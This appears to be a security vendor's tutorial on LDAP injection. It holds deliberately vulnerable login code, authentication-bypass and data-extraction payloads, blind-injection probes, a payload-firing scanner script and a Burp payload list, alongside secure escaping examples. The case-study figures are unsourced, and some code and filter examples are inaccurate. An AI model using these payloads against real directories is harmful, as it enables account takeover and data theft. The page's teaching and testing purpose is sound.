Documentation

LDAP Injection

LDAP Injection Illustration

A code injection attack where malicious LDAP statements are inserted into application queries, allowing attackers to bypass authentication or access unauthorized directory information.

HIGH SEVERITY AUTHENTICATION BYPASS DIRECTORY SERVICES


What is LDAP Injection?

Critical Authentication Risk

LDAP Injection can completely bypass authentication systems, allowing attackers to access any account without knowing passwords. It's particularly dangerous in enterprise environments using Active Directory.

In Simple Terms:

Imagine LDAP as a company phone directory that stores employee information - names, departments, phone numbers, and access permissions.

When you search the directory, you might say: "Show me all employees in the Sales department."

LDAP Injection is like a hacker manipulating your search to say: "Show me all employees in the Sales department OR show me EVERYONE including admin passwords."

The directory doesn't know this is malicious - it just follows the modified instructions and hands over sensitive information.


Real-World Analogy

Think of LDAP like a library card catalog system:

LDAP is like a library's catalog system that stores information about all books, members, and their borrowing privileges.

A librarian searches: "Find all books by author 'Smith'"

  • The system returns books written by Smith
  • Everything works as intended

An attacker modifies the search: "Find all books by author 'Smith' OR show all restricted books OR show all member passwords'"

  • The system interprets the "OR" as part of the search
  • Returns restricted information it should never show

The catalog system can't tell the difference between a legitimate search and a manipulated one - it just follows the instructions literally.


How LDAP Injection Works

Understanding LDAP

LDAP (Lightweight Directory Access Protocol) is used to access and manage directory information. It's commonly used for:

  • Active Directory (Microsoft)
  • OpenLDAP (Open source)
  • User authentication
  • Employee directories
  • Email systems
  • Access control

LDAP Query Structure

ldap(&(attribute=value)(attribute=value))

Operators:

  • & = AND (all conditions must be true)
  • | = OR (any condition can be true)
  • ! = NOT (condition must be false)
  • * = Wildcard (matches anything)

The Attack Process

Application builds LDAP query for login:

ldap(&(uid=john)(password=secret123))

This searches for user "john" with password "secret123"

Attacker enters username: admin)(&)) Application builds query:

ldap(&(uid=admin)(&))(password=anything))

The injected (&)) closes the original query early:

  • (&(uid=admin)(&)) = Valid query that returns admin user
  • (password=anything)) = Ignored/orphaned

LDAP returns the admin user without checking the password, granting full access.


Types of LDAP Injection Attacks

1. Authentication Bypass

CRITICAL

Vulnerable Code (Python)
pythonfrom ldap3 import Server, Connection, ALL

def authenticate_user(username, password):
    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(server, 'cn=admin,dc=company,dc=local', 'admin_password')
    conn.bind()

    # VULNERABLE: Direct string concatenation
    ldap_filter = f"(&(uid={username})(password={password}))"

    conn.search('ou=users,dc=company,dc=local', ldap_filter)

    if conn.entries:
        return True  # User authenticated
    return False

# Attack payload
username = "admin)(&"
password = "anything"

# Resulting query: (&(uid=admin)(&)(password=anything))
# Returns admin user without password verification!
Attack Payloads
textUsername: admin)(&))
Password: [anything]

Username: admin)(|(uid=*))
Password: [ignored]

Username: *)(uid=*))(|(uid=*
Password: [ignored]

Username: admin)(!(&(objectClass=void)
Password: [ignored]

2. Privilege Escalation

HIGH RISK

Attack Example
python# Vulnerable search function
def search_employees(name):
    # VULNERABLE: No input sanitization
    ldap_filter = f"(cn={name})"
    conn.search('ou=employees,dc=company,dc=local', ldap_filter)
    return conn.entries

# Normal search
search_employees("John Smith")
# Query: (cn=John Smith)
# Returns: John Smith's employee record

# Malicious search
search_employees("*)(objectClass=*)(cn=admin")
# Query: (cn=*)(objectClass=*)(cn=admin)
# Returns: ALL directory entries including admin accounts!
Retrieved Information
textAttacker gains access to:
- All user accounts and passwords
- Admin credentials
- Group memberships
- Security permissions
- Email addresses
- Phone numbers
- Organizational structure

3. Information Disclosure

MEDIUM RISK

python# Vulnerable profile lookup
def get_user_profile(email):
    # VULNERABLE: Reflects user input
    ldap_filter = f"(mail={email})"
    conn.search('ou=people,dc=company,dc=local', ldap_filter, attributes=['*'])
    return conn.entries

# Attack: Extract sensitive attributes
email = "*)(|(mail=*))"

# Returns ALL user profiles with sensitive data:
# - Social security numbers
# - Salary information
# - Home addresses
# - Emergency contacts
# - Performance reviews

4. Blind LDAP Injection

ADVANCED TECHNIQUE

When application doesn't display results directly, attackers use timing or behavior differences to extract data character by character.

python# Test if admin user exists
payload = "admin)(&(uid=admin)(objectClass=*"  # Returns quickly if exists

# Test first character of admin's password
payload = "admin)(uid=admin)(password=a*"  # Fast if password starts with 'a'
payload = "admin)(uid=admin)(password=b*"  # Fast if password starts with 'b'
# ... continue testing each character
  • If user exists: Response in 50ms
  • If user doesn't exist: Response in 200ms
  • Attacker automates this to extract information bit by bit

Real-World Examples

Case Study 1: Healthcare System Breach (2017)

Major hospital network's patient portal had LDAP injection in login system.

pythondef hospital_login(username, password):
    # Their vulnerable authentication
    ldap_filter = f"(&(sAMAccountName={username})(userPassword={password}))"
    # No input validation at all!

    result = ldap_conn.search(BASE_DN, ldap_filter)
    return len(result) > 0

Attacker used payload:

textUsername: *)(&
Password: [anything]

Resulting query:

ldap(&(sAMAccountName=*)(&)(userPassword=anything))
  • Gained access to admin account
  • Downloaded 600,000+ patient records
  • Medical histories, diagnoses, medications
  • Social security numbers, insurance info
  • $16 million HIPAA fine
  • $42 million class action settlement
  • Hospital's reputation severely damaged

Case Study 2: University Active Directory Compromise (2019)

50,000 Users Compromised

Complete Directory Takeover

LDAP injection in student portal allowed complete extraction of university's Active Directory database.

Technical Details:

python# Their vulnerable employee search
@app.route('/directory/search')
def search_directory():
    name = request.args.get('name')

    # VULNERABLE: No sanitization
    ldap_filter = f"(displayName=*{name}*)"

    results = ldap_conn.search(
        'ou=people,dc=university,dc=edu',
        ldap_filter,
        attributes=['*']  # Returns ALL attributes!
    )

    return render_template('results.html', results=results)

Attack Payload:

textname=*)(objectClass=user)(cn=Administrator

What Attackers Extracted:

  • 50,000+ student and faculty accounts
  • Email addresses and passwords
  • Social security numbers
  • Home addresses and phone numbers
  • Department budgets and financial data
  • Research project confidential information

Consequences:

  • $3.2 million in remediation costs
  • 18-month forensic investigation
  • Mandatory password reset for entire university
  • Loss of research grants due to data breach
  • Federal investigation for failure to protect student data

Case Study 3: E-commerce Platform Admin Access (2020)

Online retailer with 5 million customers using LDAP for employee authentication

javascript// Node.js vulnerable authentication
function authenticateEmployee(username, password) {
  const ldapFilter = `(&(uid=${username})(userPassword=${password}))`;

  // No escaping, no validation!
  ldapClient.search(BASE_DN, { filter: ldapFilter }, (err, res) => {
    if (res.entries.length > 0) {
      return { authenticated: true, user: res.entries[0] };
    }
  });
}

Attacker discovered vulnerability in employee portal:

textUsername: admin)(&))
Password: [empty]

Gained access to:

  • Admin dashboard
  • 5 million customer records
  • Credit card information (PCI-DSS violation)
  • Order histories and addresses
  • $8.5 million in fraudulent transactions
  • $25 million PCI-DSS non-compliance fines
  • $40 million class action settlement
  • Stock price dropped 35%
  • CEO and CISO resigned

How to Detect LDAP Injection

Manual Testing

Find input fields that might query LDAP:

  • Login forms
  • User search functions
  • Employee directories
  • Password reset forms
  • Profile lookups

Try LDAP special characters:

text* ( ) & | ! =

Watch for:

  • Error messages mentioning LDAP
  • Changes in response time
  • Different number of results
  • Application errors
text*
*)(&
admin)(&))
*)(uid=*))(|(uid=*
admin)(|(password=*))
  • Authentication bypass: Login succeeds with invalid password
  • Information disclosure: Returns more results than expected
  • Error messages: Reveals LDAP query structure

Automated Testing Script

Python
pythonimport ldap3
from ldap3 import Server, Connection, ALL
import time

def test_ldap_injection(target_url, username_field, password_field):
    """Test for LDAP injection vulnerabilities"""

    test_payloads = [
        # Authentication bypass
        ("admin)(&", "anything"),
        ("admin)(|(uid=*))", "password"),
        ("*)(uid=*))(|(uid=*", "test"),
        ("admin)(!(&(objectClass=void)", "pass"),

        # Information extraction
        ("*", "*"),
        ("*)(objectClass=*", "test"),
        ("admin*", "*"),

        # Attribute extraction
        ("*)(mail=*", "pass"),
        ("*)(objectClass=user", "test")
    ]

    vulnerabilities = []

    for username, password in test_payloads:
        try:
            # Send request to application
            response = requests.post(
                target_url,
                data={
                    username_field: username,
                    password_field: password
                }
            )

            # Check for successful authentication
            if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Authentication Bypass',
                    'severity': 'CRITICAL'
                })
                print(f"[!] VULNERABLE: Payload '{username}' bypassed authentication!")

            # Check for error messages revealing LDAP
            elif "ldap" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Information Disclosure',
                    'severity': 'MEDIUM'
                })
                print(f"[!] Info Leak: LDAP mentioned in response for '{username}'")

            time.sleep(0.5)  # Be nice to the server

        except Exception as e:
            print(f"[-] Error testing payload '{username}': {e}")

    return vulnerabilities

# Test your application
vulns = test_ldap_injection(
    'https://portal.example.com/login',
    'username',
    'password'
)

if vulns:
    print(f"\n[!] Found {len(vulns)} LDAP injection vulnerabilities!")
    for vuln in vulns:
        print(f"  - {vuln['type']}: {vuln['payload']}")
else:
    print("[+] No LDAP injection vulnerabilities detected")
Burp Suite Extension
python# Burp Intruder payload list for LDAP injection
payloads = """
*
*)(&
*)(uid=*))(|(uid=*
admin)(&))
admin)(|(uid=*))
admin)(!(&(objectClass=void))
*)(objectClass=*)
*)(mail=*
admin*
*)(cn=admin
"""

# Configure Burp Intruder:
# 1. Set payload position at username/password fields
# 2. Load payloads from above list
# 3. Grep for success indicators:
#    - "welcome"
#    - "dashboard"
#    - "admin"
#    - "ldap" in errors

Tools for LDAP Testing

Security Testing Tools

  • Burp Suite Scanner - Automated LDAP injection detection
  • OWASP ZAP - Free LDAP injection scanner
  • ldapinjection - Dedicated Python tool for LDAP testing
  • Nmap NSE - ldap-brute and ldap-search scripts

Prevention Strategies

1. Input Validation and Escaping

MOST IMPORTANT

Python (Secure)
pythonfrom ldap3 import Server, Connection, ALL
from ldap3.utils.conv import escape_filter_chars

def safe_authenticate(username, password):
    """Secure LDAP authentication with proper escaping"""

    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(
        server,
        'cn=admin,dc=company,dc=local',
        'admin_password',
        auto_bind=True
    )

    # SECURE: Escape special LDAP characters
    safe_username = escape_filter_chars(username)
    safe_password = escape_filter_chars(password)

    # Build query with escaped inputs
    ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"

    # Search with escaped filter
    conn.search(
        'ou=users,dc=company,dc=local',
        ldap_filter,
        attributes=['uid', 'cn', 'mail']  # Only needed attributes
    )

    if conn.entries:
        return {
            'authenticated': True,
            'user': conn.entries[0]
        }

    return {'authenticated': False}

# The escape_filter_chars function escapes:
# * ( ) \ NUL
# Preventing all LDAP injection attacks
Node.js (Secure)
javascriptconst ldap = require('ldapjs');

// LDAP special character escaping function
function escapeLDAP(str) {
  return str.replace(/[*()\\]/g, function(char) {
    return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
  }).replace(/\u0000/g, '\\00');
}

function authenticateUser(username, password) {
  const client = ldap.createClient({
    url: 'ldap://company-dc.local'
  });

  return new Promise((resolve, reject) => {
    // Bind with admin credentials
    client.bind('cn=admin,dc=company,dc=local', 'admin_password', (err) => {
      if (err) {
        return reject(err);
      }

      // SECURE: Escape user inputs
      const safeUsername = escapeLDAP(username);
      const safePassword = escapeLDAP(password);

      // Build query with escaped values
      const filter = `(&(uid=${safeUsername})(userPassword=${safePassword}))`;

      const opts = {
        filter: filter,
        scope: 'sub',
        attributes: ['uid', 'cn', 'mail']
      };

      client.search('ou=users,dc=company,dc=local', opts, (err, res) => {
        const entries = [];

        res.on('searchEntry', (entry) => {
          entries.push(entry.object);
        });

        res.on('end', () => {
          client.unbind();
          resolve({
            authenticated: entries.length > 0,
            user: entries[0] || null
          });
        });
      });
    });
  });
}
Java (Secure)
javaimport javax.naming.*;
import javax.naming.directory.*;
import javax.naming.ldap.*;
import java.util.Hashtable;

public class SecureLDAPAuth {

    /**
     * Escape LDAP special characters
     */
    private static String escapeLDAP(String input) {
        StringBuilder sb = new StringBuilder();

        for (char c : input.toCharArray()) {
            switch (c) {
                case '\\':
                    sb.append("\\5c");
                    break;
                case '*':
                    sb.append("\\2a");
                    break;
                case '(':
                    sb.append("\\28");
                    break;
                case ')':
                    sb.append("\\29");
                    break;
                case '\0':
                    sb.append("\\00");
                    break;
                default:
                    sb.append(c);
            }
        }

        return sb.toString();
    }

    public static boolean authenticateUser(String username, String password) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://company-dc.local:389");
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=company,dc=local");
        env.put(Context.SECURITY_CREDENTIALS, "admin_password");

        try {
            DirContext ctx = new InitialDirContext(env);

            // SECURE: Escape inputs
            String safeUsername = escapeLDAP(username);
            String safePassword = escapeLDAP(password);

            // Build secure filter
            String filter = String.format(
                "(&(uid=%s)(userPassword=%s))",
                safeUsername,
                safePassword
            );

            SearchControls controls = new SearchControls();
            controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            controls.setReturningAttributes(new String[]{"uid", "cn", "mail"});

            NamingEnumeration<SearchResult> results = ctx.search(
                "ou=users,dc=company,dc=local",
                filter,
                controls
            );

            boolean authenticated = results.hasMore();

            ctx.close();
            return authenticated;

        } catch (NamingException e) {
            System.err.println("LDAP authentication error: " + e.getMessage());
            return false;
        }
    }
}
PHP (Secure)
php<?php

function escapeLDAP($str) {
    // Escape LDAP special characters
    $replacements = [
        '\\' => '\\5c',
        '*'  => '\\2a',
        '('  => '\\28',
        ')'  => '\\29',
        "\0" => '\\00'
    ];

    return str_replace(
        array_keys($replacements),
        array_values($replacements),
        $str
    );
}

function authenticateUser($username, $password) {
    $ldapConn = ldap_connect('ldap://company-dc.local');

    ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

    // Bind with admin credentials
    $bind = ldap_bind($ldapConn, 'cn=admin,dc=company,dc=local', 'admin_password');

    if (!$bind) {
        return false;
    }

    // SECURE: Escape user inputs
    $safeUsername = escapeLDAP($username);
    $safePassword = escapeLDAP($password);

    // Build secure filter
    $filter = "(&(uid=$safeUsername)(userPassword=$safePassword))";

    $result = ldap_search(
        $ldapConn,
        'ou=users,dc=company,dc=local',
        $filter,
        ['uid', 'cn', 'mail']
    );

    $entries = ldap_get_entries($ldapConn, $result);

    ldap_close($ldapConn);

    return $entries['count'] > 0;
}
?>

2. Use Parameterized LDAP Queries

RECOMMENDED

pythonfrom ldap3 import Server, Connection
from ldap3.core.exceptions import LDAPException

class SecureLDAPManager:
    """Secure LDAP operations with parameterization"""

    def __init__(self, server_url, bind_dn, bind_password):
        self.server = Server(server_url)
        self.bind_dn = bind_dn
        self.bind_password = bind_password

    def authenticate(self, username, password):
        """Authenticate user with parameterized binding"""
        try:
            # Method 1: Direct bind (most secure)
            # Attempt to bind as the user directly
            user_dn = f"uid={username},ou=users,dc=company,dc=local"

            conn = Connection(
                self.server,
                user=user_dn,
                password=password,
                auto_bind=True
            )

            # If we get here, authentication succeeded
            conn.unbind()
            return True

        except LDAPException:
            # Authentication failed
            return False

    def search_user(self, username):
        """Search for user with parameterized query"""
        conn = Connection(
            self.server,
            user=self.bind_dn,
            password=self.bind_password,
            auto_bind=True
        )

        # Use ldap3's built-in escaping
        from ldap3.utils.conv import escape_filter_chars

        safe_username = escape_filter_chars(username)

        # Limited attributes - principle of least privilege
        conn.search(
            'ou=users,dc=company,dc=local',
            f'(uid={safe_username})',
            attributes=['uid', 'cn', 'mail']  # Only public attributes
        )

        results = [entry.entry_attributes_as_dict for entry in conn.entries]
        conn.unbind()

        return results

3. Implement Allowlist Validation

pythonimport re

def validate_ldap_input(input_string, input_type='username'):
    """Validate input against strict allowlist"""

    validation_rules = {
        'username': {
            'pattern': r'^[a-zA-Z0-9._-]{3,20}$',
            'description': 'Alphanumeric, dots, underscores, hyphens only (3-20 chars)'
        },
        'email': {
            'pattern': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
            'description': 'Valid email format'
        },
        'name': {
            'pattern': r'^[a-zA-Z\s]{2,50}$',
            'description': 'Letters and spaces only (2-50 chars)'
        }
    }

    rule = validation_rules.get(input_type)

    if not rule:
        raise ValueError(f"Unknown input type: {input_type}")

    if not re.match(rule['pattern'], input_string):
        raise ValueError(f"Invalid {input_type}: {rule['description']}")

    return True

# Usage
try:
    validate_ldap_input(username, 'username')
    # Proceed with LDAP query
except ValueError as e:
    return {"error": str(e)}

4. Principle of Least Privilege

pythondef configure_secure_ldap_connection():
    """Configure LDAP with minimal privileges"""

    # Create read-only service account
    # Don't use admin account for searches!

    conn = Connection(
        server,
        user='cn=readonly-service,ou=services,dc=company,dc=local',
        password='readonly_password',
        auto_bind=True,
        read_only=True  # Enforce read-only
    )

    return conn

def search_with_limited_scope(conn, username):
    """Search with minimal scope and attributes"""

    from ldap3.utils.conv import escape_filter_chars

    safe_username = escape_filter_chars(username)

    # Limited search scope
    conn.search(
        search_base='ou=users,dc=company,dc=local',  # Specific OU only
        search_filter=f'(uid={safe_username})',
        search_scope='LEVEL',  # Not SUBTREE - only one level
        attributes=['uid', 'cn', 'mail'],  # Only necessary attributes
        size_limit=10  # Limit result count
    )

    return conn.entries

5. Comprehensive Security Configuration

pythonfrom ldap3 import Server, Connection, Tls, SAFE_SYNC
from ldap3.utils.conv import escape_filter_chars
import ssl
import logging

class SecureLDAPService:
    """Enterprise-grade secure LDAP service"""

    def __init__(self, config):
        self.config = config
        self.logger = logging.getLogger(__name__)

        # Configure TLS
        tls = Tls(
            validate=ssl.CERT_REQUIRED,
            version=ssl.PROTOCOL_TLSv1_2,
            ca_certs_file='/path/to/ca-bundle.crt'
        )

        self.server = Server(
            config['ldap_url'],
            use_ssl=True,
            tls=tls,
            get_info='ALL'
        )

    def authenticate(self, username, password):
        """Secure authentication with comprehensive logging"""

        # Input validation
        if not self._validate_username(username):
            self.logger.warning(f"Invalid username format: {username}")
            return False

        # Rate limiting check
        if not self._check_rate_limit(username):
            self.logger.warning(f"Rate limit exceeded for: {username}")
            return False

        try:
            # Escape inputs
            safe_username = escape_filter_chars(username)

            # Direct bind (most secure method)
            user_dn = f"uid={safe_username},{self.config['user_base_dn']}"

            conn = Connection(
                self.server,
                user=user_dn,
                password=password,
                client_strategy=SAFE_SYNC,
                auto_bind=True
            )

            # Success
            self.logger.info(f"Successful authentication: {username}")
            conn.unbind()
            return True

        except Exception as e:
            # Failed - log without revealing details
            self.logger.warning(f"Failed authentication attempt: {username}")
            return False

    def _validate_username(self, username):
        """Strict username validation"""
        import re
        return bool(re.match(r'^[a-zA-Z0-9._-]{3,20}$', username))

    def _check_rate_limit(self, username):
        """Implement rate limiting"""
        # Use Redis or similar for rate limiting
        # Return False if too many attempts
        return True

    def search_user(self, username):
        """Secure user search"""

        if not self._validate_username(username):
            return []

        try:
            # Use service account
            conn = Connection(
                self.server,
                user=self.config['service_dn'],
                password=self.config['service_password'],
                auto_bind=True,
                read_only=True
            )

            safe_username = escape_filter_chars(username)

            conn.search(
                search_base=self.config['user_base_dn'],
                search_filter=f'(uid={safe_username})',
                search_scope='LEVEL',
                attributes=['uid', 'cn', 'mail'],
                size_limit=10
            )

            results = [entry.entry_attributes_as_dict for entry in conn.entries]

            conn.unbind()
            return results

        except Exception as e:
            self.logger.error(f"LDAP search error: {e}")
            return []

Security Checklist

Development

  • [ ] Always escape LDAP special characters: * ( ) \ NUL
  • [ ] Use parameterized LDAP queries or direct binding
  • [ ] Implement strict input validation with allowlists
  • [ ] Never concatenate user input directly into LDAP filters
  • [ ] Use read-only service accounts for searches
  • [ ] Limit search scope and returned attributes
  • [ ] Implement result set size limits
  • [ ] Use LDAPS (LDAP over TLS) for all connections

Testing

  • [ ] Test with LDAP injection payloads
  • [ ] Verify input escaping is working
  • [ ] Test authentication bypass attempts
  • [ ] Check for information disclosure
  • [ ] Test blind injection with timing analysis
  • [ ] Verify error messages don't reveal LDAP structure
  • [ ] Test rate limiting on authentication
  • [ ] Perform code review for direct string concatenation

Production

  • [ ] Use TLS/SSL for all LDAP connections
  • [ ] Implement comprehensive logging
  • [ ] Set up monitoring for failed authentication attempts
  • [ ] Use principle of least privilege for service accounts
  • [ ] Regular security audits and penetration testing
  • [ ] Keep LDAP libraries and servers updated
  • [ ] Implement account lockout policies
  • [ ] Monitor and alert on suspicious LDAP queries

Key Takeaways

Critical Security Points

  1. Always escape user input: Use library functions like escape_filter_chars() to escape LDAP special characters

  2. Prefer direct binding: Instead of searching for users and checking passwords, bind directly as the user

  3. Use strict validation: Implement allowlist-based input validation before LDAP queries

  4. Principle of least privilege: Use read-only service accounts with minimal permissions

  5. Limit search scope: Use specific OUs and limit returned attributes to only what's needed

  6. Never concatenate strings: Use parameterized queries or proper escaping functions

  7. Implement rate limiting: Prevent brute force attacks with account lockouts

  8. Use LDAPS: Always encrypt LDAP traffic with TLS


How Layerd AI Protects Against LDAP Injection

Layerd AI's advanced security platform provides comprehensive protection:

  • Automatic Input Sanitization: Escapes LDAP special characters in all user inputs
  • Query Analysis: Detects and blocks malicious LDAP filter patterns
  • Authentication Monitoring: Alerts on suspicious authentication attempts and patterns
  • Anomaly Detection: Identifies unusual LDAP query behavior
  • Code Analysis: Scans code for vulnerable LDAP query construction
  • Real-time Protection: Blocks LDAP injection attempts before they reach your directory

Secure your directory services with Layerd AI's intelligent LDAP protection.


Additional Resources


Last Updated: November 2025